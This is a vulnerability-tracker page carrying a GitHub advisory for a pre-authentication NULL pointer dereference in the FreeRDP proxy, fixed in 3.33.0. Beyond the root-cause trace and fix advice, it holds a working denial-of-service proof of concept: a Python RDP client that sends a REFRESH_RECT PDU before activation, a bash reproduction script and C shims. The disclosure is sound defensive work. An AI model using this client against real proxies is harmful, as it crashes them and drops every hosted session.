Read the docs

FreeRDP proxy NULL pointer dereference from early REFRESH_RECT data

Priority MEDIUM 48Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
None
Attack complexity
Low
Impact type
—
Confidentiality · integrity · availability
None · None · High
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-hj6g-r86h-wrcg. Fix status from GitHub.

Summary

FreeRDP up to and including 3.32.2 has a NULL pointer dereference in its proxy because a backend client context is used without a NULL check. A remote client that can reach the proxy front-end port can trigger it without valid credentials by sending REFRESH_RECT data before the connection becomes active. The crash terminates the proxy process and interrupts every proxy session that process hosts.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

# FreeRDP proxy NULL pointer dereference when a client sends REFRESH_RECT data before activation ## Summary A client that can reach the proxy front-end port and complete the MCS channel join, security negotiation and licensing, without yet sending Confirm Active, can trigger this issue. No valid credentials are needed, because the proxy defaults to ServerRdpSecurity enabled and NlaSecurity disabled and the Logon module filter allows the connection by default. Delivering a REFRESH_RECT or SUPPRESS_OUTPUT data PDU before the connection becomes active makes the proxy process dereference a NULL backend client context, and the proxy process terminates, interrupting every proxy session it hosts. The behavior was checked on the latest commit. ## Technical Details The missing check is a NULL test on the backend client context returned by `proxy_data_get_client_context()`. In `server/proxy/pf_update.c`, both `pf_server_refresh_rect` (lines 41-56) and `pf_server_suppress_output` (lines 58-74) take that result as `pc`, guard it only with a `WINPR_ASSERT`, and then call `freerdp_is_active_state(&pc->cctx.context)`. `WINPR_ASSERT` is a debug-only diagnostic that is compiled out with `NDEBUG` and is not a security boundary, so in a release build `pc` remains NULL and `freerdp_is_active_state` dereferences it. The callback is also reachable before the connection is active: the REFRESH_RECT and SUPPRESS_OUTPUT branches in `libfreerdp/core/peer.c:peer_recv_data_pdu` (lines 408-418) have no `rdp_get_state` gating. The data flow is: - `libfreerdp/core/peer.c:peer_recv_callback_internal` (lines 1067-1134): both the CONFIRM_ACTIVE and the FINALIZATION states call `peer_recv_pdu`, while `PostConnect` runs only in ACTIVE, so the backend client context has not been created yet. - `libfreerdp/core/peer.c:peer_recv_tpkt_pdu` (lines 476-478): when the state is past LICENSING and the PDU type is `PDU_TYPE_DATA`, control enters `peer_recv_data_pdu`. - `libfreerdp/core/peer.c:peer_recv_data_pdu` (lines 408-418): the REFRESH_RECT and SUPPRESS_OUTPUT branches carry no state gate, so a remote peer can reach them while not yet active. - `libfreerdp/core/update.c:update_read_refresh_rect` (lines 2590-2593): when `settings->RefreshRect` is true, the `IFCALL` invokes `update->RefreshRect`, and the proxy hardcodes that setting to true. - `server/proxy/pf_update.c:pf_server_refresh_rect` (lines 47-55): `pc = proxy_data_get_client_context()` can be NULL, and after the `WINPR_ASSERT` the call to `freerdp_is_active_state(&pc->cctx.context)` proceeds. - `libfreerdp/core/freerdp.c:freerdp_is_active_state` (lines 1492-1496): dereferences `context->rdp`; with `pc` NULL, `pClientContext`'s first member `cctx.context` is at offset 0, producing the NULL dereference. ## Impact A NULL pointer dereference crashes the proxy process, terminating the process and interrupting all proxy sessions that process hosts. This is a process-level availability failure rather than a per-connection recoverable denial of service; the affected asset is the proxy process and every session it is carrying. ## Proof of Concept <details> <summary>Show the proof of concept</summary> The issue was reproduced on commit `651ab269524adbda4d673efa60d2e391ef7555a7`. Build the proxy front-end from the latest commit, then: ``` openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \ -days 2 -nodes -subj "/CN=poc" cat > proxy.ini <<'EOF' [Server] Host=127.0.0.1 Port=13389 SamFile= [Target] Host=127.0.0.1 Port=3389 FixedTarget=true TlsSecLevel=1 [Security] ServerTlsSecurity=false ServerNlaSecurity=false ServerExtSecurity=false ServerRdpSecurity=true ClientTlsSecurity=false ClientNlaSecurity=false ClientExtSecurity=false ClientRdpSecurity=true [Plugins] Modules= Required= [Certificates] CertificateFile=/path/cert.pem PrivateKeyFile=/path/key.pem EOF freerdp-proxy proxy.ini & python3 poc_client.py 127.0.0.1 13389 0x21 3.0 ``` The client negotiates PROTOCOL_RDP; on a loopback connection the proxy turns the RDP security layer off, so the following PDUs are plaintext and no credentials are supplied. The client joins channels 1005, 1003 and 1004, sends the Client Info PDU, and, with the server sitting in `CONNECTION_STATE_CAPABILITIES_EXCHANGE_CONFIRM_ACTIVE`, sends one REFRESH_RECT Data PDU before Confirm Active. Observed output: ``` [poc] -> MCS Channel Join 1005 / 1003 / 1004 [poc] -> Client Info PDU (46 bytes) [poc] <- post-clientinfo PDUs: 2 [poc] no auto-detect RTT request (NetworkAutoDetect disabled) [poc] sending REFRESH_RECT Data PDU (pre-ACTIVE) [poc] -> malicious Data PDU (44 bytes) [FATAL][com.freerdp.winpr.assert] - [winpr_int_assert]: ((pc)) [server/proxy/pf_update.c:pf_server_refresh_rect:48] Aborted (core dumped) ``` With the debug-only assertion compiled out (a release/`NDEBUG` build), the same single PDU reaches the underlying NULL dereference: ``` === SIGSEGV handler: signal 11 addr=0x100 === freerdp_is_active_state+0x3c libfreerdp3.so.3 pf_server_refresh_rect libfreerdp-server-proxy3.so.3 pf_update.c update_read_refresh_rect libfreerdp3.so.3 peer_recv_data_pdu libfreerdp3.so.3 peer.c peer_recv_tpkt_pdu libfreerdp3.so.3 peer.c peer_recv_pdu libfreerdp3.so.3 peer.c peer_recv_callback_internal libfreerdp3.so.3 peer.c ``` Before the crash the server state machine had advanced to `CONNECTION_STATE_CAPABILITIES_EXCHANGE_CONFIRM_ACTIVE`, and the proxy's client thread had not been started, confirming the fault occurs before the front-end becomes active. The following sources were used for the reproduction. `reproduce.sh` orchestrates the run: ```bash #!/usr/bin/env bash # # One-shot replay for finding sd-15-01-server-peer-recv-spine.f3 # # "服务端激活前投递刷新矩形回调致 proxy 后端上下文空指针崩溃" # # What it does (single path, no fuzzing, no payload search): # 1. starts the *prepared* freerdp-proxy from the FreeRDP image with a # loopback config (ServerRdpSecurity=true, ServerNlaSecurity=false) and a # freshly generated RSA-2048 certificate, # 2. runs poc_client.py, a minimal RDP client that negotiates PROTOCOL_RDP # (loopback => proxy disables the RDP security layer), completes # MCS/ClientInfo/licensing and stops in # CONNECTION_STATE_CAPABILITIES_EXCHANGE_CONFIRM_ACTIVE, # 3. sends one REFRESH_RECT share Data PDU on the MCS global channel *before* # Confirm Active, # 4. reports the proxy crash. # # Success condition: the proxy process dies on that single PDU, with the fatal # assert `((pc)) [.../server/proxy/pf_update.c:pf_server_refresh_rect:48]` # (prepared Debug build, WITH_VERBOSE_WINPR_ASSERT=ON). Setting # NEUTRALIZE_ASSERT=1 additionally preloads a shim that removes the debug-only # abort handler (emulating a release/NDEBUG build); the same PDU then produces # the underlying NULL dereference, SIGSEGV inside freerdp_is_active_state(). # # Output: a single REPRO_RESULT line on stdout. set -u HERE="$(cd "$(dirname "$0")" && pwd)" INSTALL="${FREERDP_INSTALL:-/work/build/source/install}" PROXY="${FREERDP_PROXY:-$INSTALL/bin/freerdp-proxy}" PORT="${POC_PORT:-13389}" NEUTRALIZE_ASSERT="${NEUTRALIZE_ASSERT:-0}" WLOG_LEVEL="${WLOG_LEVEL:-DEBUG}" RUN_TIMEOUT="${RUN_TIMEOUT:-90}" WORK="$(mktemp -d "${TMPDIR:-/tmp}/sd15poc.XXXXXX")" PROXY_PID="" cleanup() { if [ -n "$PROXY_PID" ] && kill -0 "$PROXY_PID" 2>/dev/null; then kill -TERM "$PROXY_PID" 2>/dev/null wait "$PROXY_PID" 2>/dev/null fi [ "${KEEP_WORK:-0}" = "1" ] || rm -rf "$WORK" } trap cleanup EXIT INT TERM # --- precondition checks ------------------------------------------------------- [ -x "$PROXY" ] || { echo "missing freerdp-proxy at $PROXY"; echo "REPRO_RESULT: environment_error"; exit 2; } command -v python3 >/dev/null 2>&1 || { echo "python3 not found"; echo "REPRO_RESULT: environment_error"; exit 2; } command -v openssl >/dev/null 2>&1 || { echo "openssl not found"; echo "REPRO_RESULT: environment_error"; exit 2; } [ -f "$HERE/poc_client.py" ] || { echo "poc_client.py not found next to $0"; echo "REPRO_RESULT: environment_error"; exit 2; } # --- certificate + key (RSA 2048 is required by the RDP security check) -------- openssl req -x509 -newkey rsa:2048 -keyout "$WORK/key.pem" -out "$WORK/cert.pem" \ -days 2 -nodes -subj "/CN=poc15" >/dev/null 2>&1 \ || { echo "certificate generation failed"; echo "REPRO_RESULT: environment_error"; exit 2; } cat > "$WORK/proxy.ini" <<EOF [Server] Host=127.0.0.1 Port=$PORT SamFile= [Target] Host=127.0.0.1 Port=3389 FixedTarget=true TlsSecLevel=1 [Security] ServerTlsSecurity=false ServerNlaSecurity=false ServerExtSecurity=false ServerRdpSecurity=true ClientTlsSecurity=false ClientNlaSecurity=false ClientExtSecurity=false ClientRdpSecurity=true [Plugins] Modules= Required= [Certificates] CertificateFile=$WORK/cert.pem PrivateKeyFile=$WORK/key.pem EOF export LD_LIBRARY_PATH="$INSTALL/lib:${LD_LIBRARY_PATH:-}" export ASAN_OPTIONS=detect_leaks=0 export WLOG_LEVEL if [ "$NEUTRALIZE_ASSERT" = "1" ]; then command -v cc >/dev/null 2>&1 || { echo "cc not found"; echo "REPRO_RESULT: environment_error"; exit 2; } cc -shared -fPIC -o "$WORK/libnoassert.so" "$HERE/neutralize_winpr_assert.c" || exit 2 cc -shared -fPIC -rdynamic -o "$WORK/libbt.so" "$HERE/sigsegv_backtrace.c" || exit 2 export LD_PRELOAD="$WORK/libbt.so:$WORK/libnoassert.so" fi # --- start proxy --------------------------------------------------------------- "$PROXY" "$WORK/proxy.ini" >"$WORK/proxy.log" 2>&1 & PROXY_PID=$! for _ in $(seq 1 100); do kill -0 "$PROXY_PID" 2>/dev/null || { echo "proxy exited during startup"; sed -n '1,40p' "$WORK/proxy.log"; echo "REPRO_RESULT: environment_error"; exit 2; } grep -q "Listening on" "$WORK/proxy.log" 2>/dev/null && break sleep 0.2 done # --- run the PoC --------------------------------------------------------------- timeout "$RUN_TIMEOUT" python3 "$HERE/poc_client.py" 127.0.0.1 "$PORT" 0x21 3.0 >"$WORK/poc.out" 2>&1 POC_RC=$? sleep 1 # --- evaluate ------------------------------------------------------------------ if kill -0 "$PROXY_PID" 2>/dev/null; then PROXY_STATE=alive elif wait "$PROXY_PID" 2>/dev/null; then PROXY_STATE=exited_zero else PROXY_STATE=dead_by_signal fi PROXY_PID="" SINK_HIT=no if grep -q "pf_update.c:pf_server_refresh_rect:48" "$WORK/proxy.log"; then SINK_HIT=yes; fi SEGV_HIT=no if grep -q "SIGSEGV handler" "$WORK/proxy.log"; then SEGV_HIT=yes; fi if grep -q "Segmentation fault" "$WORK/poc.out" 2>/dev/null; then SEGV_HIT=yes; fi echo "---- poc output ----" cat "$WORK/poc.out" echo "---- proxy status: $PROXY_STATE (poc rc=$POC_RC), sink_assert_hit=$SINK_HIT segv_handler=$SEGV_HIT ----" echo "---- proxy crash evidence ----" grep -aE "FATAL.*winpr_int_assert|SIGSEGV handler|Segmentation fault" "$WORK/proxy.log" 2>/dev/null | head -5 [ "${KEEP_WORK:-0}" = "1" ] && echo "work dir kept: $WORK" # Persist the evidence next to the script when that directory is writable. if [ -w "$HERE" ]; then cp "$WORK/proxy.log" "$HERE/proxy_run.log" 2>/dev/null || true cp "$WORK/poc.out" "$HERE/poc_run.out" 2>/dev/null || true fi if [ "$NEUTRALIZE_ASSERT" = "1" ]; then if [ "$PROXY_STATE" = "dead_by_signal" ] && [ "$SEGV_HIT" = "yes" ]; then echo "REPRO_RESULT: reproduced" exit 0 fi elif [ "$PROXY_STATE" = "dead_by_signal" ] && [ "$SINK_HIT" = "yes" ]; then echo "REPRO_RESULT: reproduced" exit 0 fi echo "REPRO_RESULT: not_reproduced" exit 1 ``` `poc_client.py` is the minimal RDP client that drives the front-end to `CONFIRM_ACTIVE` and then sends the REFRESH_RECT Data PDU: ```python #!/usr/bin/env python3 # Minimal RDP client that drives the FreeRDP proxy front-end up to the # CONFIRM_ACTIVE state (pre-ACTIVE) and then sends a REFRESH_RECT Data PDU, # which reaches pf_server_refresh_rect() with a still-NULL backend client # context (pClientContext) -> NULL dereference / assert abort. # # Standard RDP security is selected (PROTOCOL_RDP). Connecting from 127.0.0.1 # makes the proxy set settings->LocalConnection=TRUE, which makes # nego_send_negotiation_response() disable the RDP security layer # (UseRdpSecurityLayer=FALSE, EncryptionLevel=NONE). Therefore no RSA/RC4 is # needed and all following PDUs travel in plaintext. import socket import struct import sys import time HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 13389 # PDU to deliver once the server is in CONFIRM_ACTIVE: REFRESH_RECT (0x21) or # SUPPRESS_OUTPUT (0x23). PDU_TYPE2 = int(sys.argv[3], 0) if len(sys.argv) > 3 else 0x21 RECV_TIMEOUT = float(sys.argv[4]) if len(sys.argv) > 4 else 3.0 MCS_BASE_CHANNEL_ID = 1001 MCS_GLOBAL_CHANNEL_ID = 1003 CS_CORE = 0xC001 CS_SECURITY = 0xC002 CS_NET = 0xC003 CS_CLUSTER = 0xC004 CS_MCS_MSGCHANNEL = 0xC006 DATA_PDU_TYPE_REFRESH_RECT = 0x21 DATA_PDU_TYPE_SUPPRESS_OUTPUT = 0x23 def log(*a): print("[poc]", *a, flush=True) # ---------------------------------------------------------------- PER / BER --- def per_len(n): if n > 0x7F: return struct.pack(">H", n | 0x8000) return bytes([n]) def ber_len(n): if n > 0xFF: return b"\x82" + struct.pack(">H", n) if n > 0x7F: return b"\x81" + bytes([n]) return bytes([n]) def ber_int(v): if v < 0x80: return b"\x02\x01" + bytes([v]) if v < 0x8000: return b"\x02\x02" + struct.pack(">H", v) if v < 0x800000: return b"\x02\x03" + struct.pack(">I", v)[1:] return b"\x02\x04" + struct.pack(">I", v) def ber_octet(b): return b"\x04" + ber_len(len(b)) + b def ber_bool(v): return b"\x01\x01" + (b"\xff" if v else b"\x00") def ber_app(tag, payload): # application + constructed; tags > 30 use the high-tag-number form if tag > 30: head = bytes([0x60 | 0x1F, tag]) else: head = bytes([0x60 | (tag & 0x1F)]) return head + ber_len(len(payload)) + payload def ber_seq(payload): return b"\x30" + ber_len(len(payload)) + payload def domain_params(maxch, maxuser, maxtok, maxpdu): payload = ( ber_int(maxch) + ber_int(maxuser) + ber_int(maxtok) + ber_int(1) # numPriorities + ber_int(0) # minThroughput + ber_int(1) # maxHeight + ber_int(maxpdu) + ber_int(2) # protocolVersion ) return ber_seq(payload) # ------------------------------------------------------------------ TPKT/X224 -- def tpkt(payload): return b"\x03\x00" + struct.pack(">H", len(payload) + 4) + payload def tpdu_data(payload): return b"\x02\xf0\x80" + payload def mcs_send_data(user_id, channel_id, user_data): body = bytes([(25 << 2)]) # DomainMCSPDU_SendDataRequest body += struct.pack(">H", user_id - MCS_BASE_CHANNEL_ID) body += struct.pack(">H", channel_id) body += b"\x70" body += per_len(len(user_data)) body += user_data return tpkt(tpdu_data(body)) # ------------------------------------------------------------------ socket IO -- class Conn: def __init__(self, host, port): self.s = socket.create_connection((host, port), timeout=8.0) self.s.settimeout(RECV_TIMEOUT) self.buf = b"" def send(self, data, what=""): log("->", what, "(%d bytes)" % len(data)) self.s.sendall(data) def _fill(self, n): while len(self.buf) < n: try: chunk = self.s.recv(65536) except socket.timeout: return False if not chunk: return False self.buf += chunk return True def recv_tpkt(self): if not self._fill(4): return None if self.buf[0] != 3: return None length = struct.unpack(">H", self.buf[2:4])[0] if not self._fill(length): return None pdu = self.buf[:length] self.buf = self.buf[length:] return pdu def recv_until_quiet(self, timeout=1.0): """Drain all pending TPKT PDUs until no more data arrives.""" pdus = [] old = self.s.gettimeout() self.s.settimeout(timeout) while True: p = self.recv_tpkt() if p is None: break pdus.append(p) self.s.settimeout(old) return pdus # ------------------------------------------------------------------ builders -- def build_client_core(): body = b"" body += struct.pack("<I", 0x00080001) # Version: RDP_VERSION_4 (no extended info) body += struct.pack("<H", 1024) # DesktopWidth body += struct.pack("<H", 768) # DesktopHeight body += struct.pack("<H", 0xCA01) # ColorDepth (RNS_UD_COLOR_8BPP) body += struct.pack("<H", 0xAA03) # SASSequence body += struct.pack("<I", 0x00000409) # KeyboardLayout body += struct.pack("<I", 0x00000A28) # ClientBuild name = "poc".encode("utf-16-le") body += name + b"\x00" * (32 - len(name)) # clientName (32 bytes) body += struct.pack("<I", 4) # KeyboardType body += struct.pack("<I", 0) # KeyboardSubType body += struct.pack("<I", 12) # KeyboardFunctionKey body += b"\x00" * 64 # imeFileName body += struct.pack("<H", 0xCA01) # postBeta2ColorDepth body += struct.pack("<H", 1) # clientProductId body += struct.pack("<I", 0) # serialNumber body += struct.pack("<H", 24) # highColorDepth (HIGH_COLOR_24BPP) body += struct.pack("<H", 0x0001) # supportedColorDepths (24bpp) body += struct.pack("<H", 0x0002) # earlyCapabilityFlags (WANT_32BPP) body += b"\x00" * 64 # clientDigProductId body += bytes([0]) # connectionType body += bytes([0]) # pad1octet body += struct.pack("<I", 0) # serverSelectedProtocol (PROTOCOL_RDP) body += struct.pack("<I", 0) # desktopPhysicalWidth body += struct.pack("<I", 0) # desktopPhysicalHeight body += struct.pack("<H", 0) # desktopOrientation body += struct.pack("<I", 100) # desktopScaleFactor body += struct.pack("<I", 100) # deviceScaleFactor assert len(body) == 230, len(body) return struct.pack("<HH", CS_CORE, 4 + len(body)) + body def build_client_cluster(): return struct.pack("<HH", CS_CLUSTER, 12) + struct.pack("<II", 0, 0) def build_client_security(): return struct.pack("<HH", CS_SECURITY, 12) + struct.pack("<II", 0, 0) def build_client_net(): # zero static virtual channels return struct.pack("<HH", CS_NET, 8) + struct.pack("<I", 0) def build_client_msgchannel(): return struct.pack("<HH", CS_MCS_MSGCHANNEL, 8) + struct.pack("<I", 0) def build_gcc_ccr(user_data): oid = bytes([0x05, 0x00, 20, 124, 0, 1]) # 0.0.20.124.0.1 out = bytes([0x00]) # ConnectData::t124Identifier choice (object) out += oid out += per_len(len(user_data) + 14) # ConnectData::connectPDU length out += bytes([0x00]) # ConnectGCCPDU choice (conferenceCreateRequest) out += bytes([0x08]) # selection (userData present) out += bytes([0x00, 0x10]) # ConferenceName "1" out += bytes([0x00]) # padding out += bytes([0x01]) # number of UserData sets out += bytes([0xC0]) # UserData choice, h221NonStandard out += bytes([0x00]) + b"Duca" # h221 CS key out += per_len(len(user_data)) + user_data # userData OCTET_STRING return out def build_mcs_connect_initial(): user_data = ( build_client_core() + build_client_cluster() + build_client_security() + build_client_net() + build_client_msgchannel() ) gcc = build_gcc_ccr(user_data) content = ( ber_octet(b"\x01") # callingDomainSelector + ber_octet(b"\x01") # calledDomainSelector + ber_bool(True) # upwardFlag + domain_params(34, 2, 0, 0xFFFF) # targetParameters + domain_params(1, 1, 1, 0x420) # minimumParameters + domain_params(0xFFFF, 0xFC17, 0xFFFF, 0xFFFF) # maximumParameters + ber_octet(gcc) # userData ) return tpkt(tpdu_data(ber_app(0x65, content))) def build_erect_domain(): body = bytes([(1 << 2)]) # ErectDomainRequest body += b"\x01\x00" # per integer 0 body += b"\x01\x00" # per integer 0 return tpkt(tpdu_data(body)) def build_attach_user(): return tpkt(tpdu_data(bytes([(10 << 2)]))) # AttachUserRequest def build_channel_join(user_id, channel_id): body = bytes([(14 << 2)]) # ChannelJoinRequest body += struct.pack(">H", user_id - MCS_BASE_CHANNEL_ID) body += struct.pack(">H", channel_id) return tpkt(tpdu_data(body)) def build_client_info(): info = b"" info += struct.pack("<I", 0) # CodePage info += struct.pack("<I", 0x00000010) # flags: INFO_UNICODE info += struct.pack("<H", 0) # cbDomain info += struct.pack("<H", 0) # cbUserName info += struct.pack("<H", 0) # cbPassword info += struct.pack("<H", 0) # cbAlternateShell info += struct.pack("<H", 0) # cbWorkingDir info += b"\x00\x00" * 5 # 5 unicode null terminators user_data = struct.pack("<HH", 0x0040, 0x0000) # SEC_INFO_PKT, flagsHi user_data += info return mcs_send_data(1005, MCS_GLOBAL_CHANNEL_ID, user_data) def build_rtt_response(seq): payload = bytes([0x06, 0x01]) + struct.pack("<H", seq) + struct.pack("<H", 0x0000) user_data = struct.pack("<HH", 0x2000, 0x0000) # SEC_AUTODETECT_RSP user_data += payload return mcs_send_data(1005, 1004, user_data) def build_malicious_data_pdu(): if PDU_TYPE2 == DATA_PDU_TYPE_REFRESH_RECT: body = bytes([0x01]) + b"\x00\x00\x00" # numberOfAreas=1 + pad body += struct.pack("<HHHH", 0, 0, 100, 100) # one area else: body = bytes([0x01]) + b"\x00\x00\x00" # allowDisplayUpdates=1 + pad body += struct.pack("<HHHH", 0, 0, 100, 100) total_length = 6 + 12 + len(body) share_ctrl = struct.pack("<HHH", total_length, 0x0007 | 0x10, 0) share_data = struct.pack("<I", 0) + bytes([0, 1]) share_data += struct.pack("<H", len(body)) share_data += bytes([PDU_TYPE2]) share_data += struct.pack("<BH", 0, 0) user_data = share_ctrl + share_data + body return mcs_send_data(1005, MCS_GLOBAL_CHANNEL_ID, user_data) def parse_attach_user_confirm(pdu): # TPKT(4) + TPDU(3) + choice(1) + result(1) + initiator(2) if len(pdu) < 11: return None choice = pdu[7] >> 2 if choice != 11: # AttachUserConfirm return None initiator = struct.unpack(">H", pdu[9:11])[0] + MCS_BASE_CHANNEL_ID return initiator # ---------------------------------------------------------------------- main -- def main(): log("connecting to %s:%d" % (HOST, PORT)) c = Conn(HOST, PORT) # 1. X.224 Connection Request with RDP Negotiation Request (PROTOCOL_RDP) neg = bytes([0x01, 0x00]) + struct.pack("<H", 8) + struct.pack("<I", 0) c.send(tpkt(bytes([6 + len(neg), 0xE0, 0, 0, 0, 0, 0]) + neg), "X224 Connection Request") r = c.recv_until_quiet(1.0) log("<- connection confirm PDUs:", len(r)) # 2. MCS Connect Initial c.send(build_mcs_connect_initial(), "MCS Connect Initial") r = c.recv_until_quiet(1.0) log("<- MCS Connect Response PDUs:", len(r)) # 3. Erect Domain Request c.send(build_erect_domain(), "MCS Erect Domain Request") c.recv_until_quiet(0.5) # 4. Attach User Request c.send(build_attach_user(), "MCS Attach User Request") r = c.recv_until_quiet(0.5) user_id = None for pdu in r: user_id = parse_attach_user_confirm(pdu) if user_id: break if not user_id: log("ERROR: no Attach User Confirm received; got %r" % [p.hex() for p in r]) return 2 log("server assigned userId =", user_id) # 5. Channel joins: user channel, global channel, message channel (1004) for ch in (user_id, MCS_GLOBAL_CHANNEL_ID, 1004): c.send(build_channel_join(user_id, ch), "MCS Channel Join %d" % ch) c.recv_until_quiet(0.4) # 6. Client Info. Processing it drives the server all the way to # CONNECTION_STATE_CAPABILITIES_EXCHANGE_CONFIRM_ACTIVE (no autodetect is # performed because the proxy runs with NetworkAutoDetect disabled). c.send(build_client_info(), "Client Info PDU") pdus = c.recv_until_quiet(1.5) log("<- post-clientinfo PDUs:", len(pdus)) # 7. Cover the (disabled) auto-detect path: only answer if the proxy really # sent an RTT measure request on the message channel. need_rtt = False for pdu in pdus: # message channel pdu: TPKT(4)+TPDU(3)+choice(1)+init+chan+prio+len+sec(4) if len(pdu) >= 19 and (pdu[7] >> 2) == 25 and pdu[7 + 11] == 0x00: need_rtt = True if need_rtt: log("auto-detect RTT request seen -> answering") c.send(build_rtt_response(0x23), "Auto-Detect RTT Response") pdus = c.recv_until_quiet(1.5) log("<- licensing/caps PDUs:", len(pdus)) else: log("no auto-detect RTT request (NetworkAutoDetect disabled)") # 8. Licensing error + Demand Active + Monitor Layout have been delivered; # the server is now in CONFIRM_ACTIVE waiting for a real Confirm Active. for i, pdu in enumerate(pdus): log(" pdu[%d] len=%d head=%s" % (i, len(pdu), pdu[:16].hex())) # 9. Deliver the malicious Data PDU while server is in CONFIRM_ACTIVE log("sending %s Data PDU (pre-ACTIVE)" % ("REFRESH_RECT" if PDU_TYPE2 == DATA_PDU_TYPE_REFRESH_RECT else "SUPPRESS_OUTPUT")) c.send(build_malicious_data_pdu(), "malicious Data PDU") # 10. If the proxy crashed the connection dies without a reply. time.sleep(1.0) try: c.s.settimeout(2.0) data = c.s.recv(4096) if data == b"": log("RESULT: connection closed by server (process likely crashed)") else: log("RESULT: server still answering: %s" % data[:32].hex()) except socket.timeout: log("RESULT: no reply, connection still open (no crash observed)") except Exception as e: log("RESULT: recv error:", repr(e)) c.s.close() return 0 if __name__ == "__main__": sys.exit(main()) ``` `neutralize_winpr_assert.c` removes the debug-only abort handler so the release behavior can be observed: ```c /* * Overrides the verbose WINPR_ASSERT abort handler so that the debug-only * diagnostic guard does not terminate the process. This emulates a release * build (WITH_VERBOSE_WINPR_ASSERT=OFF / NDEBUG) where WINPR_ASSERT compiles * away, allowing the code path after the assert to execute. Used only as an * extra observation to show the real NULL dereference behind the guard. */ void winpr_int_assert(const char* condstr, const char* file, const char* fkt, unsigned long line) { (void)condstr; (void)file; (void)fkt; (void)line; } ``` `sigsegv_backtrace.c` installs the signal handler that captures the NULL dereference: ```c /* * Test-only shim: install a SIGSEGV/SIGBUS handler that prints a backtrace with * dladdr-resolved symbol names, then re-raises the default action. Loaded via * LD_PRELOAD only for the "assert neutralised" observation run, so the real * NULL dereference behind the debug-only WINPR_ASSERT guard is visible. */ #define _GNU_SOURCE #include <execinfo.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <ucontext.h> static void on_sig(int sig, siginfo_t* si, void* uc) { (void)uc; char msg[128]; int n = snprintf(msg, sizeof(msg), "\n=== SIGSEGV handler: signal %d addr=%p ===\n", sig, si ? si->si_addr : NULL); if (n > 0) (void)!write(2, msg, (size_t)n); void* bt[64]; const int frames = backtrace(bt, 64); backtrace_symbols_fd(bt, frames, 2); signal(sig, SIG_DFL); raise(sig); } __attribute__((constructor)) static void install_handlers(void) { struct sigaction sa; sa.sa_sigaction = on_sig; sigemptyset(&sa.sa_mask); sa.sa_flags = SA_SIGINFO | SA_NODEFER; sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); } ``` `capture_stack.sh` keeps the working directory and symbolizes the crash frames: ```bash #!/usr/bin/env bash # Evidence helper: run the official entry keeping its work dir, then # symbolicate every crash frame emitted by winpr_log_backtrace_ex with # addr2line (frame offset = address - dli base, ASLR independent). set -u HERE="$(cd "$(dirname "$0")" && pwd)" KEEP_WORK=1 bash "$HERE/reproduce.sh" >/tmp/repro.out 2>&1 || true grep -aE "REPRO_RESULT|proxy status|FATAL|SIGSEGV handler|Segmentation" /tmp/repro.out | head -10 WORK="$(sed -n 's/^work dir kept: //p' /tmp/repro.out | tail -1)" echo "work=$WORK" [ -n "$WORK" ] && python3 "$HERE/resolve_stack.py" "${WORK}/proxy.log" ``` `resolve_stack.py` resolves the addresses with addr2line: ```python #!/usr/bin/env python3 """Symbolicate crash frames from a proxy log using addr2line. Handles two frame formats: * winpr_log_backtrace_ex: address=0xADDR dli_fname=PATH [BASE], dli_sname=NAME [OBJ] * backtrace_symbols_fd: PATH(+0xOFFSET)[0xADDR] / PATH(SYM+0xOFF)[0xADDR] """ import re import subprocess import sys path = sys.argv[1] if len(sys.argv) > 1 else "/tmp/poc15/proxy.log" winpr = re.compile( r"address=(0x[0-9a-f]+) dli_fname=(\S+) \[(0x[0-9a-f]+)\], dli_sname=(\S+) \[([^\]]*)\]" ) bt = re.compile(r"^\s*(/\S+?)\((?:([^+)]*)\+)?0x([0-9a-f]+)\)?\[(0x[0-9a-f]+)\]") def resolve(fname, off): try: return subprocess.check_output( ["addr2line", "-f", "-C", "-e", fname, hex(off)], stderr=subprocess.DEVNULL ).decode(errors="replace").strip().replace("\n", " | ") except Exception as e: # pragma: no cover return str(e) def emit(fname, off, sym, src): print("offset=0x%08x %-40s %-24s -> %s" % (off, fname.split("/")[-1], sym, src)) lines = open(path, errors="replace").read().splitlines() bt_mode = any("SIGSEGV handler" in l for l in lines) for line in lines: m = winpr.search(line) if m: fname, base, sym = m.group(2), int(m.group(3), 16), m.group(4) off = int(m.group(1), 16) - base emit(fname, off, "" if sym == "(null)" else sym, resolve(fname, off)) continue m = bt.search(line) if m and bt_mode: fname, sym, off = m.group(1), m.group(2) or "", int(m.group(3), 16) emit(fname, off, sym, resolve(fname, off)) ``` </details> ## Suggested Fix Add the missing check on the proxy client context. In `server/proxy/pf_update.c`, `pf_server_refresh_rect` and `pf_server_suppress_output` should return early when `proxy_data_get_client_context()` yields NULL, before any call to `freerdp_is_active_state`. In addition, gate the REFRESH_RECT and SUPPRESS_OUTPUT branches in `libfreerdp/core/peer.c:peer_recv_data_pdu` on the connection being active, so the application callbacks are not invoked before the backend context exists.

Why it matters now

Fix Fixed FreeRDP (c): 3.33.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.32.23.33.0Patch availableGHSA-hj6g-r86h-wrcg
  • FreeRDP (c) Vendor— Affected <= 3.32.2 Fixed in 3.33.0 Patch available GHSA-hj6g-r86h-wrcg

Remediation

Upgrade FreeRDP to version 3.33.0, the fixed version listed for this product.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-hj6g-r86h-wrcg FreeRDP (c) Fixed in 3.33.0 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-hj6g-r86h-wrcg

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences